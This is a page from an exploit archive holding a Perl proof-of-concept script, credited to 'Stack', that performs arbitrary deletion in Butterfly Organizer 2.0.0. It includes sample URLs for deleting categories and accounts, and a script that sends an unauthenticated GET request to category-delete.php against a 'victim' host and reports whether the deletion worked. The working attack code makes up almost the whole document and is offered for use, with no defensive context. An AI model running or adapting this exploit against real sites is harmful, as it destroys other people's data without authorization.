Home / os / win10

butterfly-delete.txt

Posted on 13 June 2008

#!/usr/bin/perl -w # Butterfly Organizer 2.0.0 <= Arbitrary Delete (Category/Account) # poc for del Ctegory : http://localhost/organizer/category-delete.php?tablehere=[NAME OF CATEGORY]&is_js_confirmed=1 # poc for del Account : http://localhost/organizer//delete.php?id=[id of account]&mytable=[NAME OF CATEGORY] ######################################## #[*] Founded & Exploited by : Stack ######################################## # SIMPLE EXPLOIT WITH PERL system("color f"); print " ############################################################ "; print " # Butterfly Organizer 2.0.0 <= Arbitrary Delete # "; print " # ( Category / Account ) # "; print " # by Stack # "; print " ############################################################ "; ######################################## #----------------------------------------------------------------------------# ######################################## use LWP::UserAgent; die "Usage: perl $0 http://victim.com/path/ " unless @ARGV; print " [!] Category name : "; chomp(my $cat=<STDIN>); $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $ARGV[0] . "/category-delete.php?tablehere=".$cat."&is_js_confirmed=1"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~ /$cat/) { print " [+] Exploit failed ";}else{ print " Brought to you by v4-team.com... "; print " [+] Category Deleted ";} ######################################## #------------------- Exploit exploited by Stack --------------------# ########################################

 

TOP